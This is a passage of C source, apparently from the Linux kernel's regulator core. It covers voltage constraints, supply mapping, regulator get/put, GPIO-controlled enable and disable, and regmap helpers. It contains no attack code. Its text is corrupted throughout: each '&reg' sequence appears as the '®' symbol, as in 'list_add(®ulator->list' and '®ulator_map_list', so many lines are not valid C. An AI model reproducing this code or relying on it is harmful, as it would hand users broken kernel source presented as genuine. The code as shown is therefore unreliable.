/* voltage constraints are optional */
if ((cmin == 0) && (cmax == 0))
return 0;
/* else require explicit machine-level constraints */
if (cmin <= 0 || cmax <= 0 || cmax < cmin) {
rdev_err(rdev, "invalid voltage constraints\n");
return -EINVAL;
}
/* initial: [cmin..cmax] valid, [min_uV..max_uV] not */
for (i = 0; i < count; i++) {
int value;
value = ops->list_voltage(rdev, i);
if (value <= 0)
continue;
/* maybe adjust [min_uV..max_uV] */
if (value >= cmin && value < min_uV)
min_uV = value;
if (value <= cmax && value > max_uV)
max_uV = value;
}
/* final: [min_uV..max_uV] valid iff constraints valid */
if (max_uV < min_uV) {
rdev_err(rdev,
"unsupportable voltage constraints %u-%uuV\n",
min_uV, max_uV);
return -EINVAL;
}
/* use regulator's subset of machine constraints */
if (constraints->min_uV < min_uV) {
rdev_dbg(rdev, "override min_uV, %d -> %d\n",
constraints->min_uV, min_uV);
constraints->min_uV = min_uV;
}
if (constraints->max_uV > max_uV) {
rdev_dbg(rdev, "override max_uV, %d -> %d\n",
constraints->max_uV, max_uV);
constraints->max_uV = max_uV;
}
}
return 0;
}
static int _regulator_do_enable(struct regulator_dev *rdev);
/**
* set_machine_constraints - sets regulator constraints
* @rdev: regulator source
* @constraints: constraints to apply
*
* Allows platform initialisation code to define and constrain
* regulator circuits e.g. valid voltage/current ranges, etc. NOTE:
* Constraints *must* be set by platform code in order for some
* regulator operations to proceed i.e. set_voltage, set_current_limit,
* set_mode.
*/
static int set_machine_constraints(struct regulator_dev *rdev,
const struct regulation_constraints *constraints)
{
int ret = 0;
struct regulator_ops *ops = rdev->desc->ops;
if (constraints)
rdev->constraints = kmemdup(constraints, sizeof(*constraints),
GFP_KERNEL);
else
rdev->constraints = kzalloc(sizeof(*constraints),
GFP_KERNEL);
if (!rdev->constraints)
return -ENOMEM;
ret = machine_constraints_voltage(rdev, rdev->constraints);
if (ret != 0)
goto out;
/* do we need to setup our suspend state */
if (rdev->constraints->initial_state) {
ret = suspend_prepare(rdev, rdev->constraints->initial_state);
if (ret < 0) {
rdev_err(rdev, "failed to set suspend state\n");
goto out;
}
}
if (rdev->constraints->initial_mode) {
if (!ops->set_mode) {
rdev_err(rdev, "no set_mode operation\n");
ret = -EINVAL;
goto out;
}
ret = ops->set_mode(rdev, rdev->constraints->initial_mode);
if (ret < 0) {
rdev_err(rdev, "failed to set initial mode: %d\n", ret);
goto out;
}
}
/* If the constraints say the regulator should be on at this point
* and we have control then make sure it is enabled.
*/
if (rdev->constraints->always_on || rdev->constraints->boot_on) {
ret = _regulator_do_enable(rdev);
if (ret < 0 && ret != -EINVAL) {
rdev_err(rdev, "failed to enable\n");
goto out;
}
}
if (rdev->constraints->ramp_delay && ops->set_ramp_delay) {
ret = ops->set_ramp_delay(rdev, rdev->constraints->ramp_delay);
if (ret < 0) {
rdev_err(rdev, "failed to set ramp_delay\n");
goto out;
}
}
if (!suppress_info_printing)
print_constraints(rdev);
return 0;
out:
kfree(rdev->constraints);
rdev->constraints = NULL;
return ret;
}
/**
* set_supply - set regulator supply regulator
* @rdev: regulator name
* @supply_rdev: supply regulator name
*
* Called by platform initialisation code to set the supply regulator for this
* regulator. This ensures that a regulators supply will also be enabled by the
* core if it's child is enabled.
*/
static int set_supply(struct regulator_dev *rdev,
struct regulator_dev *supply_rdev)
{
int err;
if (!suppress_info_printing)
rdev_info(rdev, "supplied by %s\n", rdev_get_name(supply_rdev));
rdev->supply = create_regulator(supply_rdev, &rdev->dev, "SUPPLY");
if (rdev->supply == NULL) {
err = -ENOMEM;
return err;
}
supply_rdev->open_count++;
return 0;
}
/**
* set_consumer_device_supply - Bind a regulator to a symbolic supply
* @rdev: regulator source
* @consumer_dev_name: dev_name() string for device supply applies to
* @supply: symbolic name for supply
*
* Allows platform initialisation code to map physical regulator
* sources to symbolic names for supplies for use by devices. Devices
* should use these symbolic names to request regulators, avoiding the
* need to provide board-specific regulator names as platform data.
*/
static int set_consumer_device_supply(struct regulator_dev *rdev,
const char *consumer_dev_name,
const char *supply)
{
struct regulator_map *node;
int has_dev;
if (supply == NULL)
return -EINVAL;
if (consumer_dev_name != NULL)
has_dev = 1;
else
has_dev = 0;
list_for_each_entry(node, ®ulator_map_list, list) {
if (node->dev_name && consumer_dev_name) {
if (strcmp(node->dev_name, consumer_dev_name) != 0)
continue;
} else if (node->dev_name || consumer_dev_name) {
continue;
}
if (strcmp(node->supply, supply) != 0)
continue;
pr_debug("%s: %s/%s is '%s' supply; fail %s/%s\n",
consumer_dev_name,
dev_name(&node->regulator->dev),
node->regulator->desc->name,
supply,
dev_name(&rdev->dev), rdev_get_name(rdev));
return -EBUSY;
}
node = kzalloc(sizeof(struct regulator_map), GFP_KERNEL);
if (node == NULL)
return -ENOMEM;
node->regulator = rdev;
node->supply = supply;
if (has_dev) {
node->dev_name = kstrdup(consumer_dev_name, GFP_KERNEL);
if (node->dev_name == NULL) {
kfree(node);
return -ENOMEM;
}
}
list_add(&node->list, ®ulator_map_list);
return 0;
}
static void unset_regulator_supplies(struct regulator_dev *rdev)
{
struct regulator_map *node, *n;
list_for_each_entry_safe(node, n, ®ulator_map_list, list) {
if (rdev == node->regulator) {
list_del(&node->list);
kfree(node->dev_name);
kfree(node);
}
}
}
#define REG_STR_SIZE 64
static struct regulator *create_regulator(struct regulator_dev *rdev,
struct device *dev,
const char *supply_name)
{
struct regulator *regulator;
char buf[REG_STR_SIZE];
int err, size;
regulator = kzalloc(sizeof(*regulator), GFP_KERNEL);
if (regulator == NULL)
return NULL;
mutex_lock(&rdev->mutex);
regulator->rdev = rdev;
list_add(®ulator->list, &rdev->consumer_list);
if (dev) {
regulator->dev = dev;
/* Add a link to the device sysfs entry */
size = scnprintf(buf, REG_STR_SIZE, "%s-%s",
dev->kobj.name, supply_name);
if (size >= REG_STR_SIZE)
goto overflow_err;
regulator->supply_name = kstrdup(buf, GFP_KERNEL);
if (regulator->supply_name == NULL)
goto overflow_err;
err = sysfs_create_link(&rdev->dev.kobj, &dev->kobj,
buf);
if (err) {
rdev_warn(rdev, "could not add device link %s err %d\n",
dev->kobj.name, err);
/* non-fatal */
}
} else {
regulator->supply_name = kstrdup(supply_name, GFP_KERNEL);
if (regulator->supply_name == NULL)
goto overflow_err;
}
regulator->debugfs = debugfs_create_dir(regulator->supply_name,
rdev->debugfs);
if (!regulator->debugfs) {
rdev_warn(rdev, "Failed to create debugfs directory\n");
} else {
debugfs_create_u32("uA_load", 0444, regulator->debugfs,
®ulator->uA_load);
debugfs_create_u32("min_uV", 0444, regulator->debugfs,
®ulator->min_uV);
debugfs_create_u32("max_uV", 0444, regulator->debugfs,
®ulator->max_uV);
}
/*
* Check now if the regulator is an always on regulator - if
* it is then we don't need to do nearly so much work for
* enable/disable calls.
*/
if (!_regulator_can_change_status(rdev) &&
_regulator_is_enabled(rdev))
regulator->always_on = true;
mutex_unlock(&rdev->mutex);
return regulator;
overflow_err:
list_del(®ulator->list);
kfree(regulator);
mutex_unlock(&rdev->mutex);
return NULL;
}
static int _regulator_get_enable_time(struct regulator_dev *rdev)
{
if (!rdev->desc->ops->enable_time)
return rdev->desc->enable_time;
return rdev->desc->ops->enable_time(rdev);
}
static struct regulator_dev *regulator_dev_lookup(struct device *dev,
const char *supply,
int *ret)
{
struct regulator_dev *r;
struct device_node *node;
struct regulator_map *map;
const char *devname = NULL;
/* first do a dt based lookup */
if (dev && dev->of_node) {
node = of_get_regulator(dev, supply);
if (node) {
list_for_each_entry(r, ®ulator_list, list)
if (r->dev.parent &&
node == r->dev.of_node)
return r;
} else {
/*
* If we couldn't even get the node then it's
* not just that the device didn't register
* yet, there's no node and we'll never
* succeed.
*/
*ret = -ENODEV;
}
}
/* if not found, try doing it non-dt way */
if (dev)
devname = dev_name(dev);
list_for_each_entry(r, ®ulator_list, list)
if (strcmp(rdev_get_name(r), supply) == 0)
return r;
list_for_each_entry(map, ®ulator_map_list, list) {
/* If the mapping has a device set up it must match */
if (map->dev_name &&
(!devname || strcmp(map->dev_name, devname)))
continue;
if (strcmp(map->supply, supply) == 0)
return map->regulator;
}
return NULL;
}
/* Internal regulator request function */
static struct regulator *_regulator_get(struct device *dev, const char *id,
int exclusive)
{
struct regulator_dev *rdev;
struct regulator *regulator = ERR_PTR(-EPROBE_DEFER);
const char *devname = NULL;
int ret = 0;
if (id == NULL) {
pr_err("get() with no identifier\n");
return regulator;
}
if (dev)
devname = dev_name(dev);
mutex_lock(®ulator_list_mutex);
rdev = regulator_dev_lookup(dev, id, &ret);
if (rdev)
goto found;
/*
* If we have return value from dev_lookup fail, we do not expect to
* succeed, so, quit with appropriate error value
*/
if (ret) {
regulator = ERR_PTR(ret);
goto out;
}
if (board_wants_dummy_regulator) {
rdev = dummy_regulator_rdev;
goto found;
}
#ifdef CONFIG_REGULATOR_DUMMY
if (!devname)
devname = "deviceless";
/* If the board didn't flag that it was fully constrained then
* substitute in a dummy regulator so consumers can continue.
*/
if (!has_full_constraints) {
pr_warn("%s supply %s not found, using dummy regulator\n",
devname, id);
rdev = dummy_regulator_rdev;
goto found;
}
#endif
mutex_unlock(®ulator_list_mutex);
return regulator;
found:
if (rdev->exclusive) {
regulator = ERR_PTR(-EPERM);
goto out;
}
if (exclusive && rdev->open_count) {
regulator = ERR_PTR(-EBUSY);
goto out;
}
if (!try_module_get(rdev->owner))
goto out;
regulator = create_regulator(rdev, dev, id);
if (regulator == NULL) {
regulator = ERR_PTR(-ENOMEM);
module_put(rdev->owner);
goto out;
}
rdev->open_count++;
if (exclusive) {
rdev->exclusive = 1;
ret = _regulator_is_enabled(rdev);
if (ret > 0)
rdev->use_count = 1;
else
rdev->use_count = 0;
}
out:
mutex_unlock(®ulator_list_mutex);
return regulator;
}
/**
* regulator_get - lookup and obtain a reference to a regulator.
* @dev: device for regulator "consumer"
* @id: Supply name or regulator ID.
*
* Returns a struct regulator corresponding to the regulator producer,
* or IS_ERR() condition containing errno.
*
* Use of supply names configured via regulator_set_device_supply() is
* strongly encouraged. It is recommended that the supply name used
* should match the name used for the supply and/or the relevant
* device pins in the datasheet.
*/
struct regulator *regulator_get(struct device *dev, const char *id)
{
return _regulator_get(dev, id, 0);
}
EXPORT_SYMBOL_GPL(regulator_get);
static void devm_regulator_release(struct device *dev, void *res)
{
regulator_put(*(struct regulator **)res);
}
/**
* devm_regulator_get - Resource managed regulator_get()
* @dev: device for regulator "consumer"
* @id: Supply name or regulator ID.
*
* Managed regulator_get(). Regulators returned from this function are
* automatically regulator_put() on driver detach. See regulator_get() for more
* information.
*/
struct regulator *devm_regulator_get(struct device *dev, const char *id)
{
struct regulator **ptr, *regulator;
ptr = devres_alloc(devm_regulator_release, sizeof(*ptr), GFP_KERNEL);
if (!ptr)
return ERR_PTR(-ENOMEM);
regulator = regulator_get(dev, id);
if (!IS_ERR(regulator)) {
*ptr = regulator;
devres_add(dev, ptr);
} else {
devres_free(ptr);
}
return regulator;
}
EXPORT_SYMBOL_GPL(devm_regulator_get);
/**
* regulator_get_exclusive - obtain exclusive access to a regulator.
* @dev: device for regulator "consumer"
* @id: Supply name or regulator ID.
*
* Returns a struct regulator corresponding to the regulator producer,
* or IS_ERR() condition containing errno. Other consumers will be
* unable to obtain this reference is held and the use count for the
* regulator will be initialised to reflect the current state of the
* regulator.
*
* This is intended for use by consumers which cannot tolerate shared
* use of the regulator such as those which need to force the
* regulator off for correct operation of the hardware they are
* controlling.
*
* Use of supply names configured via regulator_set_device_supply() is
* strongly encouraged. It is recommended that the supply name used
* should match the name used for the supply and/or the relevant
* device pins in the datasheet.
*/
struct regulator *regulator_get_exclusive(struct device *dev, const char *id)
{
return _regulator_get(dev, id, 1);
}
EXPORT_SYMBOL_GPL(regulator_get_exclusive);
/* regulator_list_mutex lock held by regulator_put() */
static void _regulator_put(struct regulator *regulator)
{
struct regulator_dev *rdev;
if (regulator == NULL || IS_ERR(regulator))
return;
rdev = regulator->rdev;
debugfs_remove_recursive(regulator->debugfs);
/* remove any sysfs entries */
if (regulator->dev)
sysfs_remove_link(&rdev->dev.kobj, regulator->supply_name);
mutex_lock(&rdev->mutex);
kfree(regulator->supply_name);
list_del(®ulator->list);
kfree(regulator);
rdev->open_count--;
rdev->exclusive = 0;
mutex_unlock(&rdev->mutex);
module_put(rdev->owner);
}
/**
* regulator_put - "free" the regulator source
* @regulator: regulator source
*
* Note: drivers must ensure that all regulator_enable calls made on this
* regulator source are balanced by regulator_disable calls prior to calling
* this function.
*/
void regulator_put(struct regulator *regulator)
{
mutex_lock(®ulator_list_mutex);
_regulator_put(regulator);
mutex_unlock(®ulator_list_mutex);
}
EXPORT_SYMBOL_GPL(regulator_put);
static int devm_regulator_match(struct device *dev, void *res, void *data)
{
struct regulator **r = res;
if (!r || !*r) {
WARN_ON(!r || !*r);
return 0;
}
return *r == data;
}
/**
* devm_regulator_put - Resource managed regulator_put()
* @regulator: regulator to free
*
* Deallocate a regulator allocated with devm_regulator_get(). Normally
* this function will not need to be called and the resource management
* code will ensure that the resource is freed.
*/
void devm_regulator_put(struct regulator *regulator)
{
int rc;
rc = devres_release(regulator->dev, devm_regulator_release,
devm_regulator_match, regulator);
if (rc != 0)
WARN_ON(rc);
}
EXPORT_SYMBOL_GPL(devm_regulator_put);
/* Manage enable GPIO list. Same GPIO pin can be shared among regulators */
static int regulator_ena_gpio_request(struct regulator_dev *rdev,
const struct regulator_config *config)
{
struct regulator_enable_gpio *pin;
int ret;
list_for_each_entry(pin, ®ulator_ena_gpio_list, list) {
if (pin->gpio == config->ena_gpio) {
rdev_dbg(rdev, "GPIO %d is already used\n",
config->ena_gpio);
goto update_ena_gpio_to_rdev;
}
}
ret = gpio_request_one(config->ena_gpio,
GPIOF_DIR_OUT | config->ena_gpio_flags,
rdev_get_name(rdev));
if (ret)
return ret;
pin = kzalloc(sizeof(struct regulator_enable_gpio), GFP_KERNEL);
if (pin == NULL) {
gpio_free(config->ena_gpio);
return -ENOMEM;
}
pin->gpio = config->ena_gpio;
pin->ena_gpio_invert = config->ena_gpio_invert;
list_add(&pin->list, ®ulator_ena_gpio_list);
update_ena_gpio_to_rdev:
pin->request_count++;
rdev->ena_pin = pin;
return 0;
}
static void regulator_ena_gpio_free(struct regulator_dev *rdev)
{
struct regulator_enable_gpio *pin, *n;
if (!rdev->ena_pin)
return;
/* Free the GPIO only in case of no use */
list_for_each_entry_safe(pin, n, ®ulator_ena_gpio_list, list) {
if (pin->gpio == rdev->ena_pin->gpio) {
if (pin->request_count <= 1) {
pin->request_count = 0;
gpio_free(pin->gpio);
list_del(&pin->list);
kfree(pin);
rdev->ena_pin = NULL;
return;
} else {
pin->request_count--;
}
}
}
}
/**
* regulator_ena_gpio_ctrl - balance enable_count of each GPIO and actual GPIO pin control
* @rdev: regulator_dev structure
* @enable: enable GPIO at initial use?
*
* GPIO is enabled in case of initial use. (enable_count is 0)
* GPIO is disabled when it is not shared any more. (enable_count <= 1)
*/
static int regulator_ena_gpio_ctrl(struct regulator_dev *rdev, bool enable)
{
struct regulator_enable_gpio *pin = rdev->ena_pin;
if (!pin)
return -EINVAL;
if (enable) {
/* Enable GPIO at initial use */
if (pin->enable_count == 0)
gpio_set_value_cansleep(pin->gpio,
!pin->ena_gpio_invert);
pin->enable_count++;
} else {
if (pin->enable_count > 1) {
pin->enable_count--;
return 0;
}
/* Disable GPIO if not used */
if (pin->enable_count <= 1) {
gpio_set_value_cansleep(pin->gpio,
pin->ena_gpio_invert);
pin->enable_count = 0;
}
}
return 0;
}
static int _regulator_do_enable(struct regulator_dev *rdev)
{
int ret, delay;
/* Query before enabling in case configuration dependent. */
ret = _regulator_get_enable_time(rdev);
if (ret >= 0) {
delay = ret;
} else {
rdev_warn(rdev, "enable_time() failed: %d\n", ret);
delay = 0;
}
trace_regulator_enable(rdev_get_name(rdev));
if (rdev->ena_pin) {
if (!rdev->ena_gpio_state) {
ret = regulator_ena_gpio_ctrl(rdev, true);
if (ret < 0)
return ret;
rdev->ena_gpio_state = 1;
}
} else if (rdev->desc->ops->enable) {
ret = rdev->desc->ops->enable(rdev);
if (ret < 0)
return ret;
} else {
return -EINVAL;
}
/* Allow the regulator to ramp; it would be useful to extend
* this for bulk operations so that the regulators can ramp
* together. */
trace_regulator_enable_delay(rdev_get_name(rdev));
if (delay >= 1000) {
mdelay(delay / 1000);
udelay(delay % 1000);
} else if (delay) {
udelay(delay);
}
trace_regulator_enable_complete(rdev_get_name(rdev));
return 0;
}
/* locks held by regulator_enable() */
static int _regulator_enable(struct regulator_dev *rdev)
{
int ret;
/* check voltage and requested load before enabling */
if (rdev->constraints &&
(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_DRMS))
drms_uA_update(rdev);
if (rdev->use_count == 0) {
/* The regulator may on if it's not switchable or left on */
ret = _regulator_is_enabled(rdev);
if (ret == -EINVAL || ret == 0) {
if (!_regulator_can_change_status(rdev))
return -EPERM;
ret = _regulator_do_enable(rdev);
if (ret < 0)
return ret;
_notifier_call_chain(rdev, REGULATOR_EVENT_ENABLE,
NULL);
} else if (ret < 0) {
rdev_err(rdev, "is_enabled() failed: %d\n", ret);
return ret;
}
/* Fallthrough on positive return values - already enabled */
}
rdev->use_count++;
return 0;
}
/**
* regulator_enable - enable regulator output
* @regulator: regulator source
*
* Request that the regulator be enabled with the regulator output at
* the predefined voltage or current value. Calls to regulator_enable()
* must be balanced with calls to regulator_disable().
*
* NOTE: the output value can be set by other drivers, boot loader or may be
* hardwired in the regulator.
*/
int regulator_enable(struct regulator *regulator)
{
struct regulator_dev *rdev = regulator->rdev;
int ret = 0;
if (regulator->always_on)
return 0;
if (rdev->supply) {
ret = regulator_enable(rdev->supply);
if (ret != 0)
return ret;
}
mutex_lock(&rdev->mutex);
ret = _regulator_enable(rdev);
if (ret == 0)
regulator->enabled++;
mutex_unlock(&rdev->mutex);
if (ret != 0 && rdev->supply)
regulator_disable(rdev->supply);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_enable);
static int _regulator_do_disable(struct regulator_dev *rdev)
{
int ret;
trace_regulator_disable(rdev_get_name(rdev));
if (rdev->ena_pin) {
if (rdev->ena_gpio_state) {
ret = regulator_ena_gpio_ctrl(rdev, false);
if (ret < 0)
return ret;
rdev->ena_gpio_state = 0;
}
} else if (rdev->desc->ops->disable) {
ret = rdev->desc->ops->disable(rdev);
if (ret != 0)
return ret;
}
trace_regulator_disable_complete(rdev_get_name(rdev));
return 0;
}
/* locks held by regulator_disable() */
static int _regulator_disable(struct regulator_dev *rdev)
{
int ret = 0;
if (WARN(rdev->use_count <= 0,
"unbalanced disables for %s\n", rdev_get_name(rdev)))
return -EIO;
/* are we the last user and permitted to disable ? */
if (rdev->use_count == 1 &&
(rdev->constraints && !rdev->constraints->always_on)) {
/* we are last user */
if (_regulator_can_change_status(rdev)) {
ret = _regulator_do_disable(rdev);
if (ret < 0) {
rdev_err(rdev, "failed to disable\n");
return ret;
}
_notifier_call_chain(rdev, REGULATOR_EVENT_DISABLE,
NULL);
}
rdev->use_count = 0;
} else if (rdev->use_count > 1) {
if (rdev->constraints &&
(rdev->constraints->valid_ops_mask &
REGULATOR_CHANGE_DRMS))
drms_uA_update(rdev);
rdev->use_count--;
}
return ret;
}
/**
* regulator_disable - disable regulator output
* @regulator: regulator source
*
* Disable the regulator output voltage or current. Calls to
* regulator_enable() must be balanced with calls to
* regulator_disable().
*
* NOTE: this will only disable the regulator output if no other consumer
* devices have it enabled, the regulator device supports disabling and
* machine constraints permit this operation.
*/
int regulator_disable(struct regulator *regulator)
{
struct regulator_dev *rdev = regulator->rdev;
int ret = 0;
if (regulator->always_on)
return 0;
mutex_lock(&rdev->mutex);
ret = _regulator_disable(rdev);
if (ret == 0)
regulator->enabled--;
mutex_unlock(&rdev->mutex);
if (ret == 0 && rdev->supply)
regulator_disable(rdev->supply);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_disable);
/* locks held by regulator_force_disable() */
static int _regulator_force_disable(struct regulator_dev *rdev)
{
int ret = 0;
ret = _regulator_do_disable(rdev);
if (ret < 0) {
rdev_err(rdev, "failed to force disable\n");
return ret;
}
_notifier_call_chain(rdev, REGULATOR_EVENT_FORCE_DISABLE |
REGULATOR_EVENT_DISABLE, NULL);
return 0;
}
/**
* regulator_force_disable - force disable regulator output
* @regulator: regulator source
*
* Forcibly disable the regulator output voltage or current.
* NOTE: this *will* disable the regulator output even if other consumer
* devices have it enabled. This should be used for situations when device
* damage will likely occur if the regulator is not disabled (e.g. over temp).
*/
int regulator_force_disable(struct regulator *regulator)
{
struct regulator_dev *rdev = regulator->rdev;
int ret;
mutex_lock(&rdev->mutex);
regulator->uA_load = 0;
ret = _regulator_force_disable(regulator->rdev);
mutex_unlock(&rdev->mutex);
if (rdev->supply)
while (rdev->open_count--)
regulator_disable(rdev->supply);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_force_disable);
static void regulator_disable_work(struct work_struct *work)
{
struct regulator_dev *rdev = container_of(work, struct regulator_dev,
disable_work.work);
int count, i, ret;
mutex_lock(&rdev->mutex);
BUG_ON(!rdev->deferred_disables);
count = rdev->deferred_disables;
rdev->deferred_disables = 0;
for (i = 0; i < count; i++) {
ret = _regulator_disable(rdev);
if (ret != 0)
rdev_err(rdev, "Deferred disable failed: %d\n", ret);
}
mutex_unlock(&rdev->mutex);
if (rdev->supply) {
for (i = 0; i < count; i++) {
ret = regulator_disable(rdev->supply);
if (ret != 0) {
rdev_err(rdev,
"Supply disable failed: %d\n", ret);
}
}
}
}
/**
* regulator_disable_deferred - disable regulator output with delay
* @regulator: regulator source
* @ms: miliseconds until the regulator is disabled
*
* Execute regulator_disable() on the regulator after a delay. This
* is intended for use with devices that require some time to quiesce.
*
* NOTE: this will only disable the regulator output if no other consumer
* devices have it enabled, the regulator device supports disabling and
* machine constraints permit this operation.
*/
int regulator_disable_deferred(struct regulator *regulator, int ms)
{
struct regulator_dev *rdev = regulator->rdev;
int ret;
if (regulator->always_on)
return 0;
if (!ms)
return regulator_disable(regulator);
mutex_lock(&rdev->mutex);
rdev->deferred_disables++;
mutex_unlock(&rdev->mutex);
ret = queue_delayed_work(system_power_efficient_wq,
&rdev->disable_work,
msecs_to_jiffies(ms));
if (ret < 0)
return ret;
else
return 0;
}
EXPORT_SYMBOL_GPL(regulator_disable_deferred);
/**
* regulator_is_enabled_regmap - standard is_enabled() for regmap users
*
* @rdev: regulator to operate on
*
* Regulators that use regmap for their register I/O can set the
* enable_reg and enable_mask fields in their descriptor and then use
* this as their is_enabled operation, saving some code.
*/
int regulator_is_enabled_regmap(struct regulator_dev *rdev)
{
unsigned int val;
int ret;
ret = regmap_read(rdev->regmap, rdev->desc->enable_reg, &val);
if (ret != 0)
return ret;
if (rdev->desc->enable_is_inverted)
return (val & rdev->desc->enable_mask) == 0;
else
return (val & rdev->desc->enable_mask) != 0;
}
EXPORT_SYMBOL_GPL(regulator_is_enabled_regmap);
/**
* regulator_enable_regmap - standard enable() for regmap users
*
* @rdev: regulator to operate on
*
* Regulators that use regmap for their register I/O can set the
* enable_reg and enable_mask fields in their descriptor and then use
* this as their enable() operation, saving some code.
*/
int regulator_enable_regmap(struct regulator_dev *rdev)
{
unsigned int val;
if (rdev->desc->enable_is_inverted)
val = 0;
else
val = rdev->desc->enable_mask;
return regmap_update_bits(rdev->regmap, rdev->desc->enable_reg,
rdev->desc->enable_mask, val);
}
EXPORT_SYMBOL_GPL(regulator_enable_regmap);
/**
* regulator_disable_regmap - standard disable() for regmap users
*
* @rdev: regulator to operate on
*
* Regulators that use regmap for their register I/O can set the
* enable_reg and enable_mask fields in their descriptor and then use
* this as their disable() operation, saving some code.
*/
int regulator_disable_regmap(struct regulator_dev *rdev)
{
unsigned int val;
if (rdev->desc->enable_is_inverted)
val = rdev->desc->enable_mask;
else
val = 0;
return regmap_update_bits(rdev->regmap, rdev->desc->enable_reg,
rdev->desc->enable_mask, val);
}
EXPORT_SYMBOL_GPL(regulator_disable_regmap);
static int _regulator_is_enabled(struct regulator_dev *rdev)
{
/* A GPIO control always takes precedence */
if (rdev->ena_pin)
return rdev->ena_gpio_state;
/* If we don't know then assume that the regulator is always on */
if (!rdev->desc->ops->is_enabled)
return 1;
return rdev->desc->ops->is_enabled(rdev);
}
/**
* regulator_is_enabled - is the regulator output enabled
* @regulator: regulator source
*
* Returns positive if the regulator driver backing the source/client
* has requested that the device be enabled, zero if it hasn't, else a
* negative errno code.
*
* Note that the device backing this regulator handle can have multiple
* users, so it might be enabled even if regulator_enable() was never
* called for this particular source.
*/
int regulator_is_enabled(struct regulator *regulator)
{
int ret;
if (regulator->always_on)
return 1;
mutex_lock(®ulator->rdev->mutex);
ret = _regulator_is_enabled(regulator->rdev);
mutex_unlock(®ulator->rdev->mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_is_enabled);
/**
* regulator_can_change_voltage - check if regulator can change voltage
* @regulator: regulator source
*
* Returns positive if the regulator driver backing the source/client
* can change its voltage, false otherwise. Usefull for detecting fixed
* or dummy regulators and disabling voltage change logic in the client
* driver.
*/
int regulator_can_change_voltage(struct regulator *regulator)
{
struct regulator_dev *rdev = regulator->rdev;
if (rdev->constraints &&
(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_VOLTAGE)) {
if (rdev->desc->n_voltages - rdev->desc->linear_min_sel > 1)
return 1;
if (rdev->desc->continuous_voltage_range &&
rdev->constraints->min_uV && rdev->constraints->max_uV &&
rdev->constraints->min_uV != rdev->constraints->max_uV)
return 1;
}
return 0;
}
EXPORT_SYMBOL_GPL(regulator_can_change_voltage);
/**
* regulator_count_voltages - count regulator_list_voltage() selectors
* @regulator: regulator source
*
* Returns number of selectors, or negative errno. Selectors are
* numbered starting at zero, and typically correspond to bitfields
* in hardware registers.
*/
int regulator_count_voltages(struct regulator *regulator)
{
struct regulator_dev *rdev = regulator->rdev;
return rdev->desc->n_voltages ? : -EINVAL;
}
EXPORT_SYMBOL_GPL(regulator_count_voltages);
/**
* regulator_list_voltage_linear - List voltages with simple calculation
*
* @rdev: Regulator device
* @selector: Selector to convert into a voltage
*
* Regulators with a simple linear mapping between voltages and
* selectors can set min_uV and uV_step in the regulator descriptor
* and then use this function as their list_voltage() operation,
*/
int regulator_list_voltage_linear(struct regulator_dev *rdev,
unsigned int selector)
{
if (selector >= rdev->desc->n_voltages)
return -EINVAL;
if (selector < rdev->desc->linear_min_sel)
return 0;
selector -= rdev->desc->linear_min_sel;
return rdev->desc->min_uV + (rdev->desc->uV_step * selector);
}
EXPORT_SYMBOL_GPL(regulator_list_voltage_linear);
/**
* regulator_list_voltage_table - List voltages with table based mapping
*
* @rdev: Regulator device
* @selector: Selector to convert into a voltage
*
* Regulators with table based mapping between voltages and
* selectors can set volt_table in the regulator descriptor
* and then use this function as their list_voltage() operation.
*/
int regulator_list_voltage_table(struct regulator_dev *rdev,
unsigned int selector)
{
if (!rdev->desc->volt_table) {
BUG_ON(!rdev->desc->volt_table);
return -EINVAL;
}
if (selector >= rdev->desc->n_voltages)
return -EINVAL;
return rdev->desc->volt_table[selector];
}
EXPORT_SYMBOL_GPL(regulator_list_voltage_table);
/**
* regulator_list_voltage - enumerate supported voltages
* @regulator: regulator source
* @selector: identify voltage to list
* Context: can sleep
*
* Returns a voltage that can be passed to @regulator_set_voltage(),
* zero if this selector code can't be used on this system, or a
* negative errno.
*/
int regulator_list_voltage(struct regulator *regulator, unsigned selector)
{
struct regulator_dev *rdev = regulator->rdev;
struct regulator_ops *ops = rdev->desc->ops;
int ret;
if (!ops->list_voltage || selector >= rdev->desc->n_voltages)
return -EINVAL;
mutex_lock(&rdev->mutex);
ret = ops->list_voltage(rdev, selector);
mutex_unlock(&rdev->mutex);
if (ret > 0) {
if (ret < rdev->constraints->min_uV)
ret = 0;
else if (ret > rdev->constraints->max_uV)
ret = 0;
}
return ret;
}
EXPORT_SYMBOL_GPL(regulator_list_voltage);
/**
* regulator_is_supported_voltage - check if a voltage range can be supported
*
* @regulator: Regulator to check.
* @min_uV: Minimum required voltage in uV.
* @max_uV: Maximum required voltage in uV.
*
* Returns a boolean or a negative error code.
*/
int regulator_is_supported_voltage(struct regulator *regulator,
int min_uV, int max_uV)
{
struct regulator_dev *rdev = regulator->rdev;
int i, voltages, ret;
/* If we can't change voltage check the current voltage */
if (!(rdev->constraints->valid_ops_mask & REGULATOR_CHANGE_VOLTAGE)) {
ret = regulator_get_voltage(regulator);
if (ret >= 0)
return (min_uV <= ret && ret <= max_uV);
else
return ret;
}
/* Any voltage within constrains range is fine? */
if (rdev->desc->continuous_voltage_range)
return min_uV >= rdev->constraints->min_uV &&
max_uV <= rdev->constraints->max_uV;
ret = regulator_count_voltages(regulator);
if (ret < 0)
return ret;
voltages = ret;
for (i = 0; i < voltages; i++) {
ret = regulator_list_voltage(regulator, i);
if (ret >= min_uV && ret <= max_uV)
return 1;
}
return 0;
}
EXPORT_SYMBOL_GPL(regulator_is_supported_voltage);
/**
* regulator_get_voltage_sel_regmap - standard get_voltage_sel for regmap users
*
* @rdev: regulator to operate on
*
* Regulators that use regmap for their register I/O can set the
* vsel_reg and vsel_mask fields in their descriptor and then use this
* as their get_voltage_vsel operation, saving some code.
*/
int regulator_get_voltage_sel_regmap(struct regulator_dev *rdev)
{
unsigned int val;
int ret;
ret = regmap_read(rdev->regmap, rdev->desc->vsel_reg, &val);
if (ret != 0)
return ret;
val &= rdev->desc->vsel_mask;
val >>= ffs(rdev->desc->vsel_mask) - 1;
return val;
}
EXPORT_SYMBOL_GPL(regulator_get_voltage_sel_regmap);
/**
* regulator_set_voltage_sel_regmap - standard set_voltage_sel for regmap users
*
* @rdev: regulator to operate on
* @sel: Selector to set
*
* Regulators that use regmap for their register I/O can set the
